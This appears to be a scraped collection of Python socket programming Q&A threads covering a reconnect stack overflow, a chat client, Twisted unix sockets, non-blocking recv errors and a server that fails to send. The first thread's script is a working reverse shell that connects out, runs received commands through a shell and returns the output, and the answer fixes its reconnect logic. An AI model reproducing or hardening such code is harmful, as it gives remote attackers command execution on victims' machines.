Develop Reference

Can't recover from a stack overflow

This is a little script I made while learning Python, but for some reason it tells me the it can't recover from the stack over flow. This happens when the another server disconnect.
The script:
#/user/bin/python
import os
import socket
import subprocess
import errno
import threading
s = socket.socket()
host = '192.168.1.6'
port = 9999
def connect():
try:
s.connect((host,port))
except Exception as msg:
print("ERROR HAPPEND 2 ")
connect()
else:
Work()
def Work():
while True:
data = s.recv(1024)
print("Data : " + data.decode('utf-8'))
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) >0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes , "utf-8")
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
else:
s.shutdown(socket.SHUT_RDWR)
s.close()
thread1 = threading.Thread(target = connect)
thread1.start()
break
connect()

This code is wrong:
def connect():
try:
s.connect((host,port))
except Exception as msg:
print("ERROR HAPPEND 2 ")
connect()
else:
Work()
If connection fails for some reason (refused, or even syntax error in the try/except block since you're not filtering the exception type), then you're printing the error message and try again by calling recursively your function.
Since the socket error is very likely to happen again since you're retrying immediately the same operation without changing anything (starting the other program for instance!), you get a stack overflow very quickly.
Fix, first step: let your connection crash with a proper error message
def connect():
s.connect((host,port))
Work()
Fix, second step: if you think that the connection can be established later, you can catch the exception, wait a while and retry, for example like this:
def connect():
while True:
try:
s.connect((host,port))
break # connection OK, proceeed to Work
except ConnectionRefusedError as e:
print("{}, retry in 10s ...".format(str(e)))
time.sleep(10)
Work()
In your case, just after the socket is closed, you create another thread that calls connect, and fails to do so, recursively, which explains the problem you're experiencing when disconnecting the other side.

Python chat client: the server receives commands along with previously sent messages

I'm currently working on a project for a class. It consists in code a simple chat client (protocol given by the teacher) to do (at first) some simple tasks.
My problem is that after I send a mensage on the globlal channel or in other channel that doesn't require the use of a command, and try to send any command, the server replies with an error, saying something like: "msgbeforemsgbeforeCOMMAND" is not a valid command. I just cannot figure it out why this is happening...
(another thing, note that my dictionary is not printing the right why, I dont know why to)
ex:
chat running
import socket, select, string, sys
import threading
import time
def prompt():
sys.stdout.write('<You>: ')
sys.stdout.flush()
tLock = threading.Lock()
shutdown = False
def receber(sock):
while not shutdown:
try:
tLock.acquire()
while True:
data = sock.recv(1024)
if not data:
print ('Disconnected from server\n')
sys.exit()
else:
print ('<server>: %s' % (data.decode()))
sys.stdout.write(data)
except:
pass
finally:
tLock.release()
#Main Function
if __name__ == "__main__":
host = 'mini.alunos.di.uevora.pt'
port = 143
#IP do servidor
try:
busca_ip = socket.gethostbyname( host )
print ('Chat server IP: %s Port: %d \nNow connecting...\n' %(busca_ip, port))
except socket.gaierror:
#Não conseguiu o IP do servidor
print ('Hostname could not be resolved. Exiting.')
sys.exit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(3)
# connectar ao host
try :
s.connect((busca_ip, port))
s.setblocking(0)
except :
print ('Unable to connect to the server.')
sys.exit()
print ('Connected to chat server. You may start chatting\n')
COM_ARG = {'_Comando_': '_Argumentos_',
'NICK': '<nickname> [\<password>]',
'MSG': '<recipient> \<message>',
'ENTER': '<room>',
'LEAVE': '<room> [\<message>]',
'RLIST':'',
'ULIST':''}
for chave, valor, in COM_ARG.items():
print (("%s %s") % (chave,valor))
print ('\n')
comandos = COM_ARG.keys()
#criar thread para o socket
t = threading.Thread(target = receber, args=(s,))
t.start()
while True:
msg = input('<You>: ')
msg = msg.strip()
msg12 = msg.upper()
msg12 = msg12.split()
try:
if msg12[0] in comandos:
msg = msg + '\n'
except:
pass
s.send(msg.encode())
time.sleep(0.25)
btw, sys.stdout.write(data) is doing something there?
Hope you could help me out.

(another thing, note that my dictionary is not printing the right why, I dont know why to)
Dictionary doesn't respect order.
My problem is that after I send a mensage on the globlal channel or in other channel that doesn't require the use of a command, and try to send any command, the server replies with an error, saying something like: "msgbeforemsgbeforeCOMMAND" is not a valid command. I just cannot figure it out why this is happening...
It's not just a problem with the code, the server recives the msgs, and keeps them until a '\n' appears, just then interprets the command. It's a "problem" with the protocol, but the code must be changed.
btw, sys.stdout.write(data) is doing something there?
Supposedly does the samething that print (data.decode()) does, but doesn't work in my case. I'm not sure.

Data not received by twisted socket connection

I have a twisted server script listening on a unix socket and it receives the data when the client is in twisted but it doesn't work if i send it via a vanilla python socket code.
class SendProtocol(LineReceiver):
"""
This works
"""
def connectionMade(self):
print 'sending log'
self.sendLine(self.factory.logMessage)
if __name__ == '__main__':
address = FilePath('/tmp/test.sock')
startLogging(sys.stdout)
clientFactory = ClientFactory()
clientFactory.logMessage = 'Dfgas35||This is a message from server'
clientFactory.protocol = SendProtocol
port = reactor.connectUNIX(address.path, clientFactory)
reactor.run()
But this doesn't (server doesn't get any data)
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock_addr = '/tmp/test.sock'
try:
sock.connect(sock_addr)
except socket.error, msg:
print >> sys.stderr, msg
sys.exit(1)
sock.setblocking(0) # not needed though tried both ways
print 'connected %s' % sock.getpeername()
print 'End END to abort'
while True:
try:
line = raw_input('Enter mesg: ')
if line.strip() == 'END':
break
line += '\n'
print 'sending'
sock.sendall(line)
finally:
sock.close()

Your two client programs send different data. One sends \r\n-terminated lines. The other sends \n-terminated lines. Perhaps your server is expecting \r\n-terminated lines and this is why the latter example doesn't appear to work. Your non-Twisted example also closes the socket after the first line it sends but continues with its read-send loop.

Python socket.recv exception

I'm working on a very simple python socket server. I use non-blocking sockets. The server and client are running on windows 7 x64 with python 2.7.3. Here is the code where I receive data from the client :
def listenToSockets(self):
while True:
changed_sockets = self.currentSockets
ready_to_read, ready_to_write, in_error = select.select(changed_sockets,[],[])
for s in ready_to_read:
# if its the server master socket someone is connecting
if s == self.socket:
(client_socket, address) = s.accept()
print "putting " + address[0] + " onto connections\n";
client_socket.setblocking(0)
self.currentSockets.append(client_socket)
print "current client count : " + str(len(self.currentSockets) - 1)
else:
data = ''
try:
while True:
part = s.recv(4096)
if part != '':
data = data + part
elif part == '':
break
except socket.error, (value,message):
print 'socket.error - ' + message
if data != '':
print "server received "+data
else:
print "Disconnected "+str(s.getsockname())
self.currentSockets.remove(s)
s.close()
And here is the client sending some data over and over again :
#client example
import socket
import time
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect(('192.168.0.41', 9999))
while 1:
client_socket.send("test")
time.sleep(2)
I see the server receiving the message "test" over and over again. But before it prints out what it received I get the following error message.
socket.error - A non-blocking socket operation could not be completed immediately.
Obviously an exception is thrown at part = s.recv(4096) but why?

That's precisely what a nonblocking socket is supposed to do.
Read the available data, if any
If nothing is available, raise an error rather than blocking
So you're getting an exception every time you try to receive and there's no data available.

Python Server send data not working

I am currently working on a server in Python, the problem I am facing is the client could not retrieve the sent data from server.
The code of the server is:
import sys
import socket
from threading import Thread
allClients=[]
class Client(Thread):
def __init__(self,clientSocket):
Thread.__init__(self)
self.sockfd = clientSocket #socket client
self.name = ""
self.nickName = ""
def newClientConnect(self):
allClients.append(self.sockfd)
while True:
while True:
try:
rm= self.sockfd.recv(1024)
print rm
try:
self.sockfd.sendall("\n Test text to check send.")
print "Data send successfull"
break
except socket.error, e:
print "Could not send data"
break
except ValueError:
self.sockfd.send("\n Could not connect properly")
def run(self):
self.newClientConnect()
self.sockfd.close()
while True:
buff = self.sockfd.recv(1024)
if buff.strip() == 'quit':
self.sockfd.close()
break # Exit when break
else:
self.sendAll(buff)
#Main
if __name__ == "__main__":
#Server Connection to socket:
IP = '127.0.0.1'
PORT = 80
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
print ("Server Started")
try:
serversocket.bind(('',5000))
except ValueError,e:
print e
serversocket.listen(5)
while True:
(clientSocket, address) = serversocket.accept()
print 'New connection from ', address
ct = Client(clientSocket)
ct.start()
__all__ = ['allClients','Client']
#--
And the client connecting is:
import socket
HOST = '192.168.1.4' # The remote host
PORT = 5000 # The same port as used by the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.close()
print 'Received', data#repr(data)
In need of a quick solution....
Thanks,

I tested out your code, and when I commented out
rm= self.sockfd.recv(1024)
print rm
it worked fine. Basically the server stopped there to wait for a message that never came. If it still does not work for you, there might be two problems. Either you have a firewall that blocks the connection somehow, or you have old servers running in the background from previous tries that actually wasn't killed. Check your processes if pythonw.exe or equivalent is running when it shouldn't be, and kill it.

To wait for response:
with s.makefile('rb') as f:
data = f.read() # block until the whole response is read
s.close()
There are multiple issues in your code:
nested while True without break
finally: ..close() is executed before except ValueError: ..send
multiple self.sockfd.close()
etc
Also you should probably use .sendall() instead of .send().

your server code is excepting client send something first,
rm= self.sockfd.recv(1024)
but I don't see any in your code
please try send something in your client code
s.connect((HOST, PORT))
s.send("hello")

Short solution
Add a short sleep after connect.
import time
time.sleep(3)